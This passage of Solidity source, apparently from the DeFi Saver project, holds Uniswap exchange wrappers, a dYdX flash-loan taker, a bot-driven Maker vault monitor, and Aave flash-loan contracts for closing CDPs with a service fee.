function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) {
address srcAddr = ethToWethAddr(_srcAddr);
address destAddr = ethToWethAddr(_destAddr);
return wdiv(1 ether, wdiv(OasisInterface(OTC_ADDRESS).getPayAmount(srcAddr, destAddr, _destAmount), _destAmount));
}
/// @notice Send any leftover tokens, we use to clear out srcTokens after buy
/// @param _srcAddr Source token address
function sendLeftOver(address _srcAddr) internal {
msg.sender.transfer(address(this).balance);
if (_srcAddr != KYBER_ETH_ADDRESS) {
ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this)));
}
}
/// @notice Converts Kybers Eth address -> Weth
/// @param _src Input address
function ethToWethAddr(address _src) internal pure returns (address) {
return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src;
}
receive() payable external {}
}
contract UniswapV2Wrapper is DSMath, ExchangeInterfaceV2, AdminAuth {
address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
UniswapRouterInterface public constant router = UniswapRouterInterface(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
using SafeERC20 for ERC20;
/// @notice Sells a _srcAmount of tokens at UniswapV2
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _srcAmount From amount
/// @return uint Destination amount
function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable override returns (uint) {
_srcAddr = ethToWethAddr(_srcAddr);
_destAddr = ethToWethAddr(_destAddr);
uint[] memory amounts;
address[] memory path = new address[](2);
path[0] = _srcAddr;
path[1] = _destAddr;
ERC20(_srcAddr).safeApprove(address(router), _srcAmount);
// if we are buying ether
if (_destAddr == WETH_ADDRESS) {
amounts = router.swapExactTokensForETH(_srcAmount, 1, path, msg.sender, block.timestamp + 1);
}
// if we are selling token to token
else {
amounts = router.swapExactTokensForTokens(_srcAmount, 1, path, msg.sender, block.timestamp + 1);
}
return amounts[amounts.length - 1];
}
/// @notice Buys a _destAmount of tokens at UniswapV2
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _destAmount To amount
/// @return uint srcAmount
function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) {
_srcAddr = ethToWethAddr(_srcAddr);
_destAddr = ethToWethAddr(_destAddr);
uint[] memory amounts;
address[] memory path = new address[](2);
path[0] = _srcAddr;
path[1] = _destAddr;
ERC20(_srcAddr).safeApprove(address(router), uint(-1));
// if we are buying ether
if (_destAddr == WETH_ADDRESS) {
amounts = router.swapTokensForExactETH(_destAmount, uint(-1), path, msg.sender, block.timestamp + 1);
}
// if we are buying token to token
else {
amounts = router.swapTokensForExactTokens(_destAmount, uint(-1), path, msg.sender, block.timestamp + 1);
}
// Send the leftover from the source token back
sendLeftOver(_srcAddr);
return amounts[0];
}
/// @notice Return a rate for which we can sell an amount of tokens
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _srcAmount From amount
/// @return uint Rate
function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) {
_srcAddr = ethToWethAddr(_srcAddr);
_destAddr = ethToWethAddr(_destAddr);
address[] memory path = new address[](2);
path[0] = _srcAddr;
path[1] = _destAddr;
uint[] memory amounts = router.getAmountsOut(_srcAmount, path);
return wdiv(amounts[amounts.length - 1], _srcAmount);
}
/// @notice Return a rate for which we can buy an amount of tokens
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _destAmount To amount
/// @return uint Rate
function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) {
_srcAddr = ethToWethAddr(_srcAddr);
_destAddr = ethToWethAddr(_destAddr);
address[] memory path = new address[](2);
path[0] = _srcAddr;
path[1] = _destAddr;
uint[] memory amounts = router.getAmountsIn(_destAmount, path);
return wdiv(_destAmount, amounts[0]);
}
/// @notice Send any leftover tokens, we use to clear out srcTokens after buy
/// @param _srcAddr Source token address
function sendLeftOver(address _srcAddr) internal {
msg.sender.transfer(address(this).balance);
if (_srcAddr != KYBER_ETH_ADDRESS) {
ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this)));
}
}
/// @notice Converts Kybers Eth address -> Weth
/// @param _src Input address
function ethToWethAddr(address _src) internal pure returns (address) {
return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src;
}
function getDecimals(address _token) internal view returns (uint256) {
if (_token == KYBER_ETH_ADDRESS) return 18;
return ERC20(_token).decimals();
}
receive() payable external {}
}
contract UniswapWrapper is DSMath, ExchangeInterfaceV2, AdminAuth {
address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant UNISWAP_FACTORY = 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95;
using SafeERC20 for ERC20;
/// @notice Sells a _srcAmount of tokens at Uniswap
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _srcAmount From amount
/// @return uint Destination amount
function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable override returns (uint) {
address uniswapExchangeAddr;
uint destAmount;
_srcAddr = ethToWethAddr(_srcAddr);
_destAddr = ethToWethAddr(_destAddr);
// if we are buying ether
if (_destAddr == WETH_ADDRESS) {
uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr);
ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, _srcAmount);
destAmount = UniswapExchangeInterface(uniswapExchangeAddr).
tokenToEthTransferInput(_srcAmount, 1, block.timestamp + 1, msg.sender);
}
// if we are selling token to token
else {
uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr);
ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, _srcAmount);
destAmount = UniswapExchangeInterface(uniswapExchangeAddr).
tokenToTokenTransferInput(_srcAmount, 1, 1, block.timestamp + 1, msg.sender, _destAddr);
}
return destAmount;
}
/// @notice Buys a _destAmount of tokens at Uniswap
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _destAmount To amount
/// @return uint srcAmount
function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) {
address uniswapExchangeAddr;
uint srcAmount;
_srcAddr = ethToWethAddr(_srcAddr);
_destAddr = ethToWethAddr(_destAddr);
// if we are buying ether
if (_destAddr == WETH_ADDRESS) {
uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr);
ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, uint(-1));
srcAmount = UniswapExchangeInterface(uniswapExchangeAddr).
tokenToEthTransferOutput(_destAmount, uint(-1), block.timestamp + 1, msg.sender);
}
// if we are buying token to token
else {
uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr);
ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, uint(-1));
srcAmount = UniswapExchangeInterface(uniswapExchangeAddr).
tokenToTokenTransferOutput(_destAmount, uint(-1), uint(-1), block.timestamp + 1, msg.sender, _destAddr);
}
// Send the leftover from the source token back
sendLeftOver(_srcAddr);
return srcAmount;
}
/// @notice Return a rate for which we can sell an amount of tokens
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _srcAmount From amount
/// @return uint Rate
function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) {
_srcAddr = ethToWethAddr(_srcAddr);
_destAddr = ethToWethAddr(_destAddr);
if(_srcAddr == WETH_ADDRESS) {
address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr);
return wdiv(UniswapExchangeInterface(uniswapTokenAddress).getEthToTokenInputPrice(_srcAmount), _srcAmount);
} else if (_destAddr == WETH_ADDRESS) {
address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr);
return wdiv(UniswapExchangeInterface(uniswapTokenAddress).getTokenToEthInputPrice(_srcAmount), _srcAmount);
} else {
uint ethBought = UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr)).getTokenToEthInputPrice(_srcAmount);
return wdiv(UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr)).getEthToTokenInputPrice(ethBought), _srcAmount);
}
}
/// @notice Return a rate for which we can buy an amount of tokens
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _destAmount To amount
/// @return uint Rate
function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) {
_srcAddr = ethToWethAddr(_srcAddr);
_destAddr = ethToWethAddr(_destAddr);
if(_srcAddr == WETH_ADDRESS) {
address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr);
return wdiv(1 ether, wdiv(UniswapExchangeInterface(uniswapTokenAddress).getEthToTokenOutputPrice(_destAmount), _destAmount));
} else if (_destAddr == WETH_ADDRESS) {
address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr);
return wdiv(1 ether, wdiv(UniswapExchangeInterface(uniswapTokenAddress).getTokenToEthOutputPrice(_destAmount), _destAmount));
} else {
uint ethNeeded = UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr)).getTokenToEthOutputPrice(_destAmount);
return wdiv(1 ether, wdiv(UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr)).getEthToTokenOutputPrice(ethNeeded), _destAmount));
}
}
/// @notice Send any leftover tokens, we use to clear out srcTokens after buy
/// @param _srcAddr Source token address
function sendLeftOver(address _srcAddr) internal {
msg.sender.transfer(address(this).balance);
if (_srcAddr != KYBER_ETH_ADDRESS) {
ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this)));
}
}
/// @notice Converts Kybers Eth address -> Weth
/// @param _src Input address
function ethToWethAddr(address _src) internal pure returns (address) {
return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src;
}
receive() payable external {}
}
contract DyDxFlashLoanTaker is DydxFlashLoanBase, ProxyPermission {
address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126;
/// @notice Takes flash loan for _receiver
/// @dev Receiver must send back WETH + 2 wei after executing transaction
/// @dev Method is meant to be called from proxy and proxy will give authorization to _receiver
/// @param _receiver Address of funds receiver
/// @param _ethAmount ETH amount that needs to be pulled from dydx
/// @param _encodedData Bytes with packed data
function takeLoan(address _receiver, uint256 _ethAmount, bytes memory _encodedData) public {
ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS);
// Get marketId from token address
uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR);
// Calculate repay amount (_amount + (2 wei))
// Approve transfer from
uint256 repayAmount = _getRepaymentAmountInternal(_ethAmount);
ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount);
Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);
operations[0] = _getWithdrawAction(marketId, _ethAmount, _receiver);
operations[1] = _getCallAction(
_encodedData,
_receiver
);
operations[2] = _getDepositAction(marketId, repayAmount, address(this));
Account.Info[] memory accountInfos = new Account.Info[](1);
accountInfos[0] = _getAccountInfo();
givePermission(_receiver);
solo.operate(accountInfos, operations);
removePermission(_receiver);
DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "DyDxFlashLoanTaken", abi.encode(_receiver, _ethAmount, _encodedData));
}
}
abstract contract CTokenInterface is ERC20 {
function mint(uint256 mintAmount) external virtual returns (uint256);
// function mint() external virtual payable;
function accrueInterest() public virtual returns (uint);
function redeem(uint256 redeemTokens) external virtual returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external virtual returns (uint256);
function borrow(uint256 borrowAmount) external virtual returns (uint256);
function repayBorrow(uint256 repayAmount) external virtual returns (uint256);
function repayBorrow() external virtual payable;
function repayBorrowBehalf(address borrower, uint256 repayAmount) external virtual returns (uint256);
function repayBorrowBehalf(address borrower) external virtual payable;
function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral)
external virtual
returns (uint256);
function liquidateBorrow(address borrower, address cTokenCollateral) external virtual payable;
function exchangeRateCurrent() external virtual returns (uint256);
function supplyRatePerBlock() external virtual returns (uint256);
function borrowRatePerBlock() external virtual returns (uint256);
function totalReserves() external virtual returns (uint256);
function reserveFactorMantissa() external virtual returns (uint256);
function borrowBalanceCurrent(address account) external virtual returns (uint256);
function totalBorrowsCurrent() external virtual returns (uint256);
function getCash() external virtual returns (uint256);
function balanceOfUnderlying(address owner) external virtual returns (uint256);
function underlying() external virtual returns (address);
function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint);
}
abstract contract ISubscriptionsV2 is StaticV2 {
function getOwner(uint _cdpId) external view virtual returns(address);
function getSubscribedInfo(uint _cdpId) public view virtual returns(bool, uint128, uint128, uint128, uint128, address, uint coll, uint debt);
function getCdpHolder(uint _cdpId) public view virtual returns (bool subscribed, CdpHolder memory);
}
contract MCDMonitorV2 is DSMath, AdminAuth, GasBurner, StaticV2 {
uint public REPAY_GAS_TOKEN = 25;
uint public BOOST_GAS_TOKEN = 25;
uint public MAX_GAS_PRICE = 200000000000; // 200 gwei
uint public REPAY_GAS_COST = 2500000;
uint public BOOST_GAS_COST = 2500000;
MCDMonitorProxyV2 public monitorProxyContract;
ISubscriptionsV2 public subscriptionsContract;
address public mcdSaverTakerAddress;
address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B;
Manager public manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
Vat public vat = Vat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
Spotter public spotter = Spotter(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3);
DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126);
modifier onlyApproved() {
require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot");
_;
}
constructor(address _monitorProxy, address _subscriptions, address _mcdSaverTakerAddress) public {
monitorProxyContract = MCDMonitorProxyV2(_monitorProxy);
subscriptionsContract = ISubscriptionsV2(_subscriptions);
mcdSaverTakerAddress = _mcdSaverTakerAddress;
}
/// @notice Bots call this method to repay for user when conditions are met
/// @dev If the contract ownes gas token it will try and use it for gas price reduction
function repayFor(
SaverExchangeCore.ExchangeData memory _exchangeData,
uint _cdpId,
uint _nextPrice,
address _joinAddr
) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) {
(bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _cdpId, _nextPrice);
require(isAllowed);
uint gasCost = calcGasCost(REPAY_GAS_COST);
address owner = subscriptionsContract.getOwner(_cdpId);
monitorProxyContract.callExecute{value: msg.value}(
owner,
mcdSaverTakerAddress,
abi.encodeWithSignature(
"repayWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256,uint256,address)",
_exchangeData, _cdpId, gasCost, _joinAddr));
(bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _cdpId, _nextPrice);
require(isGoodRatio);
returnEth();
logger.Log(address(this), owner, "AutomaticMCDRepay", abi.encode(ratioBefore, ratioAfter));
}
/// @notice Bots call this method to boost for user when conditions are met
/// @dev If the contract ownes gas token it will try and use it for gas price reduction
function boostFor(
SaverExchangeCore.ExchangeData memory _exchangeData,
uint _cdpId,
uint _nextPrice,
address _joinAddr
) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) {
(bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _cdpId, _nextPrice);
require(isAllowed);
uint gasCost = calcGasCost(BOOST_GAS_COST);
address owner = subscriptionsContract.getOwner(_cdpId);
monitorProxyContract.callExecute{value: msg.value}(
owner,
mcdSaverTakerAddress,
abi.encodeWithSignature(
"boostWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256,uint256,address)",
_exchangeData, _cdpId, gasCost, _joinAddr));
(bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _cdpId, _nextPrice);
require(isGoodRatio);
returnEth();
logger.Log(address(this), owner, "AutomaticMCDBoost", abi.encode(ratioBefore, ratioAfter));
}
/******************* INTERNAL METHODS ********************************/
function returnEth() internal {
// return if some eth left
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
}
/******************* STATIC METHODS ********************************/
/// @notice Returns an address that owns the CDP
/// @param _cdpId Id of the CDP
function getOwner(uint _cdpId) public view returns(address) {
return manager.owns(_cdpId);
}
/// @notice Gets CDP info (collateral, debt)
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
function getCdpInfo(uint _cdpId, bytes32 _ilk) public view returns (uint, uint) {
address urn = manager.urns(_cdpId);
(uint collateral, uint debt) = vat.urns(_ilk, urn);
(,uint rate,,,) = vat.ilks(_ilk);
return (collateral, rmul(debt, rate));
}
/// @notice Gets a price of the asset
/// @param _ilk Ilk of the CDP
function getPrice(bytes32 _ilk) public view returns (uint) {
(, uint mat) = spotter.ilks(_ilk);
(,,uint spot,,) = vat.ilks(_ilk);
return rmul(rmul(spot, spotter.par()), mat);
}
/// @notice Gets CDP ratio
/// @param _cdpId Id of the CDP
/// @param _nextPrice Next price for user
function getRatio(uint _cdpId, uint _nextPrice) public view returns (uint) {
bytes32 ilk = manager.ilks(_cdpId);
uint price = (_nextPrice == 0) ? getPrice(ilk) : _nextPrice;
(uint collateral, uint debt) = getCdpInfo(_cdpId, ilk);
if (debt == 0) return 0;
return rdiv(wmul(collateral, price), debt) / (10 ** 18);
}
/// @notice Checks if Boost/Repay could be triggered for the CDP
/// @dev Called by MCDMonitor to enforce the min/max check
function canCall(Method _method, uint _cdpId, uint _nextPrice) public view returns(bool, uint) {
bool subscribed;
CdpHolder memory holder;
(subscribed, holder) = subscriptionsContract.getCdpHolder(_cdpId);
// check if cdp is subscribed
if (!subscribed) return (false, 0);
// check if using next price is allowed
if (_nextPrice > 0 && !holder.nextPriceEnabled) return (false, 0);
// check if boost and boost allowed
if (_method == Method.Boost && !holder.boostEnabled) return (false, 0);
// check if owner is still owner
if (getOwner(_cdpId) != holder.owner) return (false, 0);
uint currRatio = getRatio(_cdpId, _nextPrice);
if (_method == Method.Repay) {
return (currRatio < holder.minRatio, currRatio);
} else if (_method == Method.Boost) {
return (currRatio > holder.maxRatio, currRatio);
}
}
/// @dev After the Boost/Repay check if the ratio doesn't trigger another call
function ratioGoodAfter(Method _method, uint _cdpId, uint _nextPrice) public view returns(bool, uint) {
CdpHolder memory holder;
(, holder) = subscriptionsContract.getCdpHolder(_cdpId);
uint currRatio = getRatio(_cdpId, _nextPrice);
if (_method == Method.Repay) {
return (currRatio < holder.maxRatio, currRatio);
} else if (_method == Method.Boost) {
return (currRatio > holder.minRatio, currRatio);
}
}
/// @notice Calculates gas cost (in Eth) of tx
/// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP
/// @param _gasAmount Amount of gas used for the tx
function calcGasCost(uint _gasAmount) public view returns (uint) {
uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE;
return mul(gasPrice, _gasAmount);
}
/******************* OWNER ONLY OPERATIONS ********************************/
/// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions
/// @param _gasCost New gas cost for boost method
function changeBoostGasCost(uint _gasCost) public onlyOwner {
require(_gasCost < 3000000);
BOOST_GAS_COST = _gasCost;
}
/// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions
/// @param _gasCost New gas cost for repay method
function changeRepayGasCost(uint _gasCost) public onlyOwner {
require(_gasCost < 3000000);
REPAY_GAS_COST = _gasCost;
}
/// @notice Allows owner to change max gas price
/// @param _maxGasPrice New max gas price
function changeMaxGasPrice(uint _maxGasPrice) public onlyOwner {
require(_maxGasPrice < 500000000000);
MAX_GAS_PRICE = _maxGasPrice;
}
/// @notice Allows owner to change the amount of gas token burned per function call
/// @param _gasAmount Amount of gas token
/// @param _isRepay Flag to know for which function we are setting the gas token amount
function changeGasTokenAmount(uint _gasAmount, bool _isRepay) public onlyOwner {
if (_isRepay) {
REPAY_GAS_TOKEN = _gasAmount;
} else {
BOOST_GAS_TOKEN = _gasAmount;
}
}
}
contract MCDCloseFlashLoan is SaverExchangeCore, MCDSaverProxyHelper, FlashLoanReceiverBase, AdminAuth {
ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
uint public constant SERVICE_FEE = 400; // 0.25% Fee
bytes32 internal constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
address public constant ETH_JOIN_ADDRESS = 0x2F0b23f53734252Bda2277357e97e1517d6B042A;
address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3;
address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
DaiJoin public constant daiJoin = DaiJoin(DAI_JOIN_ADDRESS);
Spotter public constant spotter = Spotter(SPOTTER_ADDRESS);
Vat public constant vat = Vat(VAT_ADDRESS);
struct CloseData {
uint cdpId;
uint collAmount;
uint daiAmount;
uint minAccepted;
address joinAddr;
address proxy;
uint flFee;
bool toDai;
address reserve;
uint amount;
}
constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {}
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params)
external override {
(
uint[8] memory numData,
address[5] memory addrData,
bytes memory callData,
address proxy,
bool toDai
)
= abi.decode(_params, (uint256[8],address[5],bytes,address,bool));
ExchangeData memory exchangeData = ExchangeData({
srcAddr: addrData[0],
destAddr: addrData[1],
srcAmount: numData[4],
destAmount: numData[5],
minPrice: numData[6],
wrapper: addrData[3],
exchangeAddr: addrData[2],
callData: callData,
price0x: numData[7]
});
CloseData memory closeData = CloseData({
cdpId: numData[0],
collAmount: numData[1],
daiAmount: numData[2],
minAccepted: numData[3],
joinAddr: addrData[4],
proxy: proxy,
flFee: _fee,
toDai: toDai,
reserve: _reserve,
amount: _amount
});
address user = DSProxy(payable(closeData.proxy)).owner();
closeCDP(closeData, exchangeData, user);
}
function closeCDP(
CloseData memory _closeData,
ExchangeData memory _exchangeData,
address _user
) internal {
paybackDebt(_closeData.cdpId, manager.ilks(_closeData.cdpId), _closeData.daiAmount); // payback whole debt
drawMaxCollateral(_closeData.cdpId, _closeData.joinAddr, _closeData.collAmount); // draw whole collateral
uint daiSwaped = 0;
uint dfsFee = 0;
if (_closeData.toDai) {
_exchangeData.srcAmount = _closeData.collAmount;
(, daiSwaped) = _sell(_exchangeData);
dfsFee = getFee(daiSwaped, _user);
} else {
dfsFee = getFee(_closeData.daiAmount, _user);
_exchangeData.destAmount = (_closeData.daiAmount + _closeData.flFee + dfsFee);
(, daiSwaped) = _buy(_exchangeData);
}
takeFee(dfsFee);
address tokenAddr = getVaultCollAddr(_closeData.joinAddr);
if (_closeData.toDai) {
tokenAddr = DAI_ADDRESS;
}
require(getBalance(tokenAddr) >= _closeData.minAccepted, "Below min. number of eth specified");
transferFundsBackToPoolInternal(_closeData.reserve, _closeData.amount.add(_closeData.flFee));
sendLeftover(tokenAddr, DAI_ADDRESS, payable(_user));
}
function drawMaxCollateral(uint _cdpId, address _joinAddr, uint _amount) internal returns (uint) {
manager.frob(_cdpId, -toPositiveInt(_amount), 0);
manager.flux(_cdpId, address(this), _amount);
uint joinAmount = _amount;
if (Join(_joinAddr).dec() != 18) {
joinAmount = _amount / (10 ** (18 - Join(_joinAddr).dec()));
}
Join(_joinAddr).exit(address(this), joinAmount);
if (_joinAddr == ETH_JOIN_ADDRESS) {
Join(_joinAddr).gem().withdraw(joinAmount); // Weth -> Eth
}
return joinAmount;
}
function paybackDebt(uint _cdpId, bytes32 _ilk, uint _daiAmount) internal {
address urn = manager.urns(_cdpId);
daiJoin.dai().approve(DAI_JOIN_ADDRESS, _daiAmount);
daiJoin.join(urn, _daiAmount);
manager.frob(_cdpId, 0, normalizePaybackAmount(VAT_ADDRESS, urn, _ilk));
}
function takeFee(uint _feeAmount) internal returns (uint) {
ERC20(DAI_ADDRESS).transfer(WALLET_ID, _feeAmount);
}
function getFee(uint _amount, address _owner) internal view returns (uint feeAmount) {
uint fee = SERVICE_FEE;
if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_owner)) {
fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_owner);
}
feeAmount = (fee == 0) ? 0 : (_amount / fee);
// fee can't go over 20% of the whole amount
if (feeAmount > (_amount / 5)) {
feeAmount = _amount / 5;
}
}
function getVaultCollAddr(address _joinAddr) internal view returns (address) {
address tokenAddr = address(Join(_joinAddr).gem());
if (tokenAddr == WETH_ADDRESS) {
return KYBER_ETH_ADDRESS;
}
return tokenAddr;
}
function getPrice(bytes32 _ilk) public view returns (uint256) {
(, uint256 mat) = spotter.ilks(_ilk);
(, , uint256 spot, , ) = vat.ilks(_ilk);
return rmul(rmul(spot, spotter.par()), mat);
}
receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {}
}
contract MCDCloseTaker is MCDSaverProxyHelper {
address public constant SUBSCRIPTION_ADDRESS_NEW = 0xC45d4f6B6bf41b6EdAA58B01c4298B8d9078269a;
address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126;
ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
// solhint-disable-next-line const-name-snakecase
Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3;
address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
// solhint-disable-next-line const-name-snakecase
DefisaverLogger public constant logger = DefisaverLogger(DEFISAVER_LOGGER);
struct CloseData {
uint cdpId;
address joinAddr;
uint collAmount;
uint daiAmount;
uint minAccepted;
bool wholeDebt;
bool toDai;
}
Vat public constant vat = Vat(VAT_ADDRESS);
Spotter public constant spotter = Spotter(SPOTTER_ADDRESS);
function closeWithLoan(
SaverExchangeCore.ExchangeData memory _exchangeData,
CloseData memory _closeData,
address payable mcdCloseFlashLoan
) public payable {
mcdCloseFlashLoan.transfer(msg.value); // 0x fee
if (_closeData.wholeDebt) {
_closeData.daiAmount = getAllDebt(
VAT_ADDRESS,
manager.urns(_closeData.cdpId),
manager.urns(_closeData.cdpId),
manager.ilks(_closeData.cdpId)
);
(_closeData.collAmount, )
= getCdpInfo(manager, _closeData.cdpId, manager.ilks(_closeData.cdpId));
}
manager.cdpAllow(_closeData.cdpId, mcdCloseFlashLoan, 1);
(uint[8] memory numData, address[5] memory addrData, bytes memory callData)
= _packData(_closeData, _exchangeData);
bytes memory paramsData = abi.encode(numData, addrData, callData, address(this), _closeData.toDai);
lendingPool.flashLoan(mcdCloseFlashLoan, DAI_ADDRESS, _closeData.daiAmount, paramsData);
manager.cdpAllow(_closeData.cdpId, mcdCloseFlashLoan, 0);
// If sub. to automatic protection unsubscribe
unsubscribe(SUBSCRIPTION_ADDRESS_NEW, _closeData.cdpId);
logger.Log(address(this), msg.sender, "MCDClose", abi.encode(_closeData.cdpId, _closeData.collAmount, _closeData.daiAmount, _closeData.toDai));
}
/// @notice Gets the maximum amount of debt available to generate
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
function getMaxDebt(uint256 _cdpId, bytes32 _ilk) public view returns (uint256) {
uint256 price = getPrice(_ilk);
(, uint256 mat) = spotter.ilks(_ilk);
(uint256 collateral, uint256 debt) = getCdpInfo(manager, _cdpId, _ilk);
return sub(wdiv(wmul(collateral, price), mat), debt);
}
/// @notice Gets a price of the asset
/// @param _ilk Ilk of the CDP
function getPrice(bytes32 _ilk) public view returns (uint256) {
(, uint256 mat) = spotter.ilks(_ilk);
(, , uint256 spot, , ) = vat.ilks(_ilk);
return rmul(rmul(spot, spotter.par()), mat);
}
function unsubscribe(address _subContract, uint _cdpId) internal {
(, bool isSubscribed) = IMCDSubscriptions(_subContract).subscribersPos(_cdpId);
if (isSubscribed) {
IMCDSubscriptions(_subContract).unsubscribe(_cdpId);
}
}
function _packData(
CloseData memory _closeData,
SaverExchangeCore.ExchangeData memory exchangeData
) internal pure returns (uint[8] memory numData, address[5] memory addrData, bytes memory callData) {
numData = [
_closeData.cdpId,
_closeData.collAmount,
_closeData.daiAmount,
_closeData.minAccepted,
exchangeData.srcAmount,
exchangeData.destAmount,
exchangeData.minPrice,
exchangeData.price0x
];
addrData = [
exchangeData.srcAddr,
exchangeData.destAddr,
exchangeData.exchangeAddr,
exchangeData.wrapper,
_closeData.joinAddr
];
callData = exchangeData.callData;
}
}
contract MCDCreateFlashLoan is SaverExchangeCore, AdminAuth, FlashLoanReceiverBase {
